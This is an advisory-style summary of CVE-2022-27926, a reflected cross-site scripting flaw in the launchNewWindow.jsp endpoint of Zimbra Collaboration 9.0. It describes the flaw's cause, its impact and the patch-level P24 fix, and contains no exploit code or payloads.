CVE-2022-27926
Overview
This vulnerability is a reflected cross-site scripting (XSS) flaw caused by improper sanitization of user-supplied input in the /public/launchNewWindow.jsp component of Zimbra Collaboration Suite 9.0. The root cause lies in the failure to correctly encode or validate request parameters, allowing injected scripts to be reflected in the HTTP response. The affected component is a web interface endpoint handling window launch requests without adequate input handling controls.
Vulnerability Description
A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser by tricking them into visiting a maliciously crafted URL targeting the vulnerable endpoint. This enables session hijacking, theft of sensitive information, or interface manipulation without requiring any authentication or user privileges. The attack can be conducted remotely and requires only that the victim interacts with the malicious link, potentially leading to data breaches or unauthorized actions within the victim's session.
Solution
Zimbra has addressed this vulnerability in patch level P24 for version 9.0. Administrators should apply the updates available at the Zimbra Security Center and Zimbra Releases pages, which include fixes for input validation in the launchNewWindow.jsp component. Detailed patch instructions and advisories are available at https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24 and the Zimbra Security Advisories wiki page.
